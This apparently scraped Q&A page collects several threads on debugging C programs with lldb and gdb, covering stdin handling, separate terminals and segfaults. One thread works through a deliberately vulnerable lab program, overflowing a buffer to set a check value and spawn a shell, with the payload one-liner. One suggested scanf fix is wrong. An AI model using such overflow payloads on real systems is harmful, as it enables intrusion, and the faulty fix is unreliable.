When I debug my program with lldb, I set a breakpoint in the main function, why did it end directly? In addition, the terminal should wait for my input ...
func.c
#include "func.h"
void insert_head(pnode *phead,pnode *ptail,int i){
pnode pnew = (pnode)calloc(1,sizeof(node));
pnew->num = i;
if(phead == NULL){
*phead = pnew;
*ptail = pnew;
}else{
pnew->pnext = *phead;
*phead = pnew;
}
}
void print_list(pnode phead){
while(phead){
printf("%d",phead->num);
phead=phead->pnext;
}
}
main.cpp
#include "func.h"
int main()
{
pnode phead,ptail;//create new head ptial point to sturct
phead = ptail = NULL;
int i;
while(scanf("%d",&i) != EOF){
insert_head(&phead,&ptail,i);
}
print_list(phead);
return 0;
}
func.h
#pragma once
#include <cstdio>
#include <cstdlib>
//定义结构体
typedef struct Node{
int num;
struct Node *pnext;
}node,*pnode;
//头插法
void insert_head(pnode *phead,pnode *ptail,int i);
void print_list(pnode phead);
You can see the image , i want to figure out this,pls help me , thanks guys
In the example shown above, first of all, it looks like you didn't build your code with debug information (pass -g to your compiler invocations, and make sure you aren't stripping your binary). That's why when you hit your breakpoint at main, you only see some disassembly and not your source code.
If you had debug info, then when your program hit the breakpoint at main, lldb would show you that you are stopped at the beginning of main, before your program has called scanf to query for input. You should just be able to issue the continue command in lldb, and your program will proceed to the scanf call and wait for you input.
For instance, this (admittedly horrible code) works under lldb:
> cat scant.c
#include <stdio.h>
int
main()
{
int i;
int buffer[2000];
int idx = 0;
while(scanf("%d", &i) != EOF) {
buffer[idx++] = i;
}
for(i = 0; i < idx; i++)
printf("%d: %d\n", i, buffer[i]);
return 0;
}
> clang -g -O0 scanit.c -o scanit
> lldb scanit
(lldb) target create "scanit"
Current executable set to '/tmp/scanit' (x86_64).
(lldb) break set -n main
Breakpoint 1: where = scanit`main + 41 at scanit.c:8:7, address = 0x0000000100000e89
(lldb) run
Process 74926 launched: '/tmp/scanit' (x86_64)
Process 74926 stopped
* thread #1 tid = 0x71d134 , queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000100000e89 scanit`main at scanit.c:8
5 {
6 int i;
7 int buffer[2000];
-> 8 int idx = 0;
^
9 while(scanf("%d", &i) != EOF) {
10 buffer[idx++] = i;
11 }
Target 0: (scanit) stopped.
(lldb) c
Process 74926 resuming
10 20 30 40 ^D
0: 10
1: 20
2: 30
3: 40
Process 74926 exited with status = 0 (0x00000000)
(lldb)
So that correctly fetched the input from the terminal while the program was running and provided it to the scanf call.
From what I can see, the cause of your confusion is that you didn't build your program with debug information, so when you stopped at your initial breakpoint, you didn't realize you just hadn't gotten to the call to scanf yet.
For your lldb ./test as per excellent #JimIngham remarks lldb can capture user input while the program executes (vs not while being stopped on a breakpoint for instance).
For more complicated programs with terminal UI separate terminal windows (one for lldb, one for your program) might be more convenient.
To use the latter approach either run your ./test program first in terminal where it wait on user input through scanf.
Run another terminal window and launch
lldb -n "test"
Which will attach to the running process based on its name.
Or alternatively you can also attach upon process launch
lldb -n "test" --wait-for
and in another terminal window
./test
This allow you to debug your main and do anything you want with your program (that includes providing user input).
Related
The galactic imperium plans to send a star destroyer to attack the rebel‘s base. This star destroyer shall host 1024 imperial clone warriors.
At t=0 there is just one soldier availabe: the captain. From his first birthday on, a clone warrior is able to clone once a year. The imperator wants to get the star destroyer ready for action in short time.
The imperial command structure is very simple:
Every warrior sends commands to his clones
there is no communication to the superior
Write a Linux C-Programm with the following requirements:
Every clone warrior has to be represented by a separate process
Commands have to be transmitted via uniquely (!) named message queues
*There is an existing message queue /Imperator from the Imperator to the captain
After the cloning phase, every clone warrior has to wait for commands to receive and to transmit to his inferiors
Hints and requirements:
Consider, how many soldiers are available in which year: t=0 –just the captain, t=1 –captain and his first clone, etc.
Don‘t worry about error handling
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <mqueue.h>
#include <errno.h>
// Exercise „clone warriors“
#define NUM 10
#define SIZE_MSGBUF 500
#define MODE (S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH |S_IWOTH)
mqd_t QueueArray[NUM]; // queues to my clones
void cleanQueueArray(void) { // support function for init: start with no queues
for (int i=0; i<NUM; i++) QueueArray[i] = 0;
}
int main(void) {
char cNameBossQueue[100] = "/Imperator"; // boss queue‘s default name
mqd_t BossQueue; // boss queue to receive commands of the father‘s process
struct mq_attr attr;
attr.mq_maxmsg = 10;
attr.mq_msgsize = SIZE_MSGBUF;
attr.mq_flags = 0;
int nPrio=0;
char cMsgbuf[SIZE_MSGBUF+1] = "";
cleanQueueArray(); // init: no queues to any clones at the beginning
// phase 1 / clone phase takes NUM years:
for (int i=0; i<NUM; i++) {
pid_t npid_child = fork();
if (npid_child > 0) { // Father. Create + store command channel to clone:
char cQueue[100];
sprintf(cQueue, "/Queue%d", npid_child);
QueueArray[i] = mq_open(cQueue, O_CREAT|O_WRONLY, MODE, &attr);
} else { // Child. Remember the name of the boss queue:
sprintf(cNameBossQueue, "/Queue%d", getpid());
cleanQueueArray(); // Child has no queues to clones currently
}
}
// Phase 2 / battle phase. Receive and transmit orders:
BossQueue = mq_open(cNameBossQueue, O_RDONLY, MODE, &attr);
mq_receive(BossQueue, cMsgbuf, SIZE_MSGBUF, &nPrio);
// Send orders to all of my clones:
for (int i=0; i<NUM; i++) {
if (QueueArray[i] > 0) {
mq_send (QueueArray[i], cMsgbuf, strlen(cMsgbuf), 0);
}
}
// Cleanup work...
return 0;
}
I tried running this using
gcc -o Wall clonew clonew.c -lrt"
./clonew
but I get no output
Your commandline (without the trailing ", which I consider a posting accident)
gcc -o Wall clonew clonew.c -lrt
means
compile clonew and clonew.c
into an executable named "Wall"
using the rt lib
I am not sure why the use of "clonew" (first in the compile command, later in the execution attempt) does not trigger any warning.
Clearly you intend to create and execute that file. But it is used as input file and should, even if it exists but is not a C syntax file, cause some complaint.
However, the reason why you do not get the expected output when trying to execute clonew is that your compile command cannot have resulted in the creation of an executable clonew.
Why the attempt to execute something, which either does not exist yet or is a C code file, does not result in any warnings, errors or any other output is a mystery.
If it already exists as an executable but silent program, it should also trigger a complaint.
#include <stdio.h>
int main(void)
{
/* an array with 5 rows and 2 columns*/
char* a[5][2];
int y, p;
for(y = 0; y < 5; y++)
{
for(p = 0; p < 2; p++)
{
scanf("%s", a[y][p]);
}
}
int i, j;
/* output each array element's value */
for ( i = 0; i < 5; i++ )
{
for ( j = 0; j < 2; j++ )
{
printf("a[%d][%d] = %s\n", i,j, a[i][j] );
}
}
return 0;
}
I've been getting a Segmentation fault as an output of this program after inserting 2 strings. Can anyone tell me what's wrong with my code?
Problem:
You're declaring 10 uninitialized pointers here:
char* a[5][2];
And then trying to fill them with data:
scanf("%s", a[y][p]);
This is wrong. You need to allocate memory before copying data.
Solution:
I would do this in a more sexy way, but the quick solution would be:
#define MAX_LEN 100
char a[5][2][MAX_LEN];
/* ... */
scanf("%s", a[y][p][0]);
Just a hint on helping troubleshoot. Hope this will help the future readers who are new to pointers.
A better way to troubleshoot a segmentation fault is to run it with a debugger like gdb.
e.g
Compile your program with gdb (You need gdb installed on your host)
gcc -ggdb Test.c -o Test
Then run it with gdb
gdb ./Test
In your case, you will see an output like this. It'll go to the gdb prompt.
Then type run or r, it will run the program. Then it asks for an input. Type your input value. Then the segmentation fault occurs. Now you can see your backtrace by typing backtrace or bt. You can see which line causes your crash. You can see the code by list. You can go to any line by typeing list <line>. Go through a GDB Guide to find out more commands.
It tries to access a pointer, probably invalid that's why it crashes. Then find out why it's invalid. Probably you didn't initialize it or didn't allocate memory. So the easiest fix would be to declare it as an array (rather than a pointer array) like #Andrewjs mentioned in his answer.
Reading symbols from /tmp/Examples/Test...done.
(gdb) run
Starting program: /tmp/Examples/Test
for 1
for 2
10
Program received signal SIGSEGV, Segmentation fault.
0x005c5c3d in _IO_vfscanf_internal (s=0x6d1420, format=0x804867e "%s", argptr=0xbfffe984 "\020\204\004\b", errp=0x0) at vfscanf.c:840
840 *str++ = c;
(gdb) backtrace
#0 0x005c5c3d in _IO_vfscanf_internal (s=0x6d1420, format=0x804867e "%s", argptr=0xbfffe984 "\020\204\004\b", errp=0x0) at vfscanf.c:840
#1 0x005cebbb in __scanf (format=0x804867e "%s") at scanf.c:35
#2 0x0804850d in main () at Test.c:16 <-- Your program's last call
(gdb) list
835 }
836 #else
837 /* This is easy. */
838 if (!(flags & SUPPRESS))
839 {
840 *str++ = c; <-- Crash point
841 if ((flags & MALLOC)
842 && (char *) str == *strptr + strsize)
843 {
844 /* Enlarge the buffer. */
(gdb)
For advance debugging of applications This may help
I can't get gdb to redirect a file to the stdin of my program.
Outside of gdb ./prog.x < someinput.txt does exactly what I want.
Inside gdb, when I run (gdb) run < someinput.txt my program doesn't seem to "see" the input file, and instead stdin seems to be reading what I type into the console.
(gdb) run < testinput.txt
Starting program: /Users/alexpatch/Documents/krc/misc/sandbox.x < testinput.txt
[New Thread 0x1603 of process 8308]
My cursor appears on a blank line beneath that, where I can type some text. C-d breaks out of that, then the output of the program run with what I just typed appears, and the process exits normally.
/* trivial code example */
#include <stdio.h>
int main(void)
{
int c;
while ((c = getchar()) != EOF)
putchar(c);
return 0;
}
I found a few answers related to similar issues, but the solution that seemed to work for them was what I'm already doing, namely (gdb) run < someinput.txt. In case it's helpful, I'm working on a 64bit MacBook Air running macOS Sierra.
Here is the source code of the application to be exploited.
ch13.c:
#include <stdlib.h>
#include <stdio.h>
/*
gcc -o ch13 ch13.c -fno-stack-protector
*/
int main()
{
int var;
int check = 0x04030201;
char buf[40];
fgets(buf,45,stdin);
printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
if (check == 0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
system("/bin/dash");
}
return 0;
}
After running in the shell:
python -c 'print "A"*40 + "\xef\xbe\xad\xde"'|./ch13
It displays buffer content and "Yeah dude! you win!" but no new shell. GDB show that a new process is started but I am unable to interact with it. Is there are way of interacting with the spawned shell so that it doesnt terminate quickly?
Assuming /bin/dash is a typo, and you meant /bin/bash...
You're piping input into the ch13 program. When it calls system(), the shell inherits stdin and stdout from the calling program, which means it's taking input from the same pipe. However, by the time the shell starts executing, the pipe has already been emptied of all its input, and so the shell reads EOF and immediately terminates. What you really want is to pass in that buffer overflow into stdin, and then keep putting stuff into stdin afterwards. So, something like this should work:
echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde" > magic_input
cat magic_input - | ./ch13
You may not see a bash prompt, but you should be able to type commands, hit enter, and get output.
EDIT: For future inquisitive visitors who may want to try this at home, you might want to use this updated version of the C program in the question. My version of GCC was putting the variables on the stack in a different order. Putting variables in a struct prevents GCC from reordering the variables however it pleases, so the buffer overrun should go right into the check variable as expected.
#include <stdlib.h>
#include <stdio.h>
/*
gcc -o ch13 ch13.c -fno-stack-protector
*/
int main()
{
struct {
char buf[40];
int check;
} locals = {.check = 0x04030201};
fgets(locals.buf,45,stdin);
printf("\n[buf]: %s\n", locals.buf);
printf("[check] %p\n", locals.check);
if ((locals.check != 0x04030201) && (locals.check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
if (locals.check == 0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
system("/bin/bash");
}
return 0;
}
I'm using GDB to debug some of my C applications. What I currently do is load the target application, set a breakpoint on line 30 and run it.
I would like to make GDB display the output of my own application in a new terminal window while I'm still able to control the breakpoint handling via the GDB terminal window, but I couldn't seem to find a proper switch. Is there any way making GDB display my program's output in its own window?
For people wondering how to use the GDB tty command here is a short description...
Open a new console window. We will redirect output from the program running under GDB here. This is our output window.
Run the tty command in the output window. This will show the name of the tty being used by the underlying console.
$ tty
/dev/pts/4
Open another console window and start GDB here. Let us call this the GDB window.
Now run the tty command in GDB using the tty file name obtained above and then start the debugging process.
(gdb) tty /dev/pts/4
(gdb) run
Now you should be able to see the program output separately in the output window.
Note: The GDB set new-console on command does not work on Linux! It is meant to be run on windows only. Use the tty method described above on Linux.
You can use set new-console on to accomplish this as shown here.
Another way to do this would be to start your target program with gdbserver (assuming it is available to you). Then you can connect GDB started in a separate window to gdbserver.
GNU gdbserver documentation
From window A:
gdbserver :12345 myprog [args...]
From window B:
gdb myprog
GNU gdb 6.6
...
(gdb) target remote localhost:12345
Remote debugging using localhost:12345
0x009867c0 in ?? ()
(gdb) b main
Breakpoint 1 at 0x804834a: file myprog.c, line 40.
(gdb) c
Continuing.
Breakpoint 1, main (argc=1, argv=0xffff8904) at myprog.c:40
40 int i = 1;
(gdb)
The best way I know is to redirect the output of the program to a file, and then tail -f that file in another terminal. Redirection is done with run > filename, as documented in the GDB documentation.
GDB's tty command does work, but it doesn't work well with interactive programs, like if you wanted to debug bash. Even for non-interactive programs, you get the following:
warning: GDB: Failed to set controlling terminal: Operation not permitted
I wrote a small program to fix both of these issues:
// Open a pty and let it idle, so that a process spawned in a different window
// can attach to it, start a new session, and set it as the controlling
// terminal. Useful for gdb debugging with gdb's `tty` command.
#include <inttypes.h>
typedef uint8_t u8; typedef uint16_t u16; typedef uint32_t u32; typedef uint64_t u64;
typedef int8_t i8; typedef int16_t i16; typedef int32_t i32; typedef int64_t i64;
#include <stdlib.h>
#include <assert.h>
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <termios.h>
#include <pty.h>
#include <liburing.h>
#define BSIZE 4096
void raw_terminal(void)
{
if (!isatty(0))
return;
struct termios t;
tcgetattr(0, &t);
t.c_lflag &= ~(ISIG | ICANON | ECHO);
tcsetattr(0, TCSANOW, &t);
}
// Refers to the state of a Joint /while it's waiting in io_uring_enter/.
enum State {
READ,
WRITE
};
// Joins two fds together, like splice, but not a syscall and works on any two
// fds.
struct Joint {
u8 buf[BSIZE];
i32 ifd;
i32 ofd;
enum State state;
u32 nread;
};
void roll_joint(struct Joint *j, struct io_uring *ur, i32 ifd, i32 ofd)
{
j->ifd = ifd;
j->ofd = ofd;
j->state = READ;
struct io_uring_sqe *sqe = io_uring_get_sqe(ur);
io_uring_prep_read(sqe, j->ifd, j->buf, BSIZE, 0);
io_uring_sqe_set_data(sqe, j);
io_uring_submit(ur);
}
i32 main(i32 argc, char **argv)
{
raw_terminal();
struct io_uring ur;
assert(io_uring_queue_init(256, &ur, 0) == 0);
i32 ptm, pts;
assert(openpty(&ptm, &pts, NULL, NULL, NULL) == 0);
dprintf(2, "pid = %u tty = %s\n", getpid(), ttyname(pts));
struct Joint jkbd;
roll_joint(&jkbd, &ur, 0, ptm);
struct Joint jscreen;
roll_joint(&jscreen, &ur, ptm, 1);
for (;;) {
struct io_uring_cqe *cqe;
for (;;) {
// Actions like suspend to RAM can interrupt the io_uring_enter
// syscall. If we get interrupted, try again. For all other errors,
// bail. Also, wait_cqe negates the error for no reason. It never
// returns positive numbers. Very silly.
u32 res = -io_uring_wait_cqe(&ur, &cqe);
if (res == 0)
break;
else if (res != EINTR) {
dprintf(2, "io_uring_enter returns errno %d\n", res);
exit(res);
}
}
struct Joint *j = io_uring_cqe_get_data(cqe);
if (j->state == READ) {
// Exiting READ state. Finish with the read...
j->nread = cqe->res;
assert(j->nread > 0);
// Now, start the write.
j->state = WRITE;
struct io_uring_sqe *sqe = io_uring_get_sqe(&ur);
io_uring_prep_write(sqe, j->ofd, j->buf, j->nread, 0);
io_uring_sqe_set_data(sqe, j);
io_uring_submit(&ur);
}
else if (j->state == WRITE) {
// Exiting WRITE state. Finish with the write...
i64 nwritten = cqe->res;
assert(nwritten == j->nread);
// Now, start the read.
j->state = READ;
struct io_uring_sqe *sqe = io_uring_get_sqe(&ur);
io_uring_prep_read(sqe, j->ifd, j->buf, BSIZE, 0);
io_uring_sqe_set_data(sqe, j);
io_uring_submit(&ur);
}
io_uring_cqe_seen(&ur, cqe);
}
io_uring_queue_exit(&ur);
return 0;
}
Suppose you save the program to idleterm.c. To compile it:
> gcc -o idleterm idleterm.c -luring
To use it, start one terminal window, and on that window, run idleterm. It will print the name of the tty to attach to:
> ./idleterm
pid = 3405922 tty = /dev/pts/0
█
Copy that tty path and paste it into a gdb session in a second window:
> gdb bash
Reading symbols from bash...
(No debugging symbols found in bash)
(gdb) tty /dev/pts/0
(gdb) r
Starting program: /usr/bin/bash
…
A bash prompt will appear in the first window. All of the interactions with bash requiring special TTY behaviour will work normally, including ^C, ^Z, etc.
idleterm passes all keyboard input through to the child process being debugged, including ^C and ^Z. So in order to stop idleterm, you'll have to kill it from a separate window. This is why idleterm prints its pid. Copy the pid, then paste it into the kill command:
> kill 3405922
If there's only one instance of idleterm running on the system, you can of course just use killall.
Just use tty command. If you want output of your program redirected to /dev/pts/5 type:
tty /dev/pts/5
With lldb on Mac the following runs the program in w new terminal window while the debugger controls from the original window:
$ lldb <prog>
(lldb) b main # if you want to set a breakpoint
(lldb) process launch --tty -- <args>
This runs the program as a process in specified tty (terminal window):
$ tty # (in other window, get tty name)
/dev/ttys002
$ lldb
(lldb) b main # if you want to set a breakpoint
(lldb) process launch --tty=/dev/ttys002 -- <args>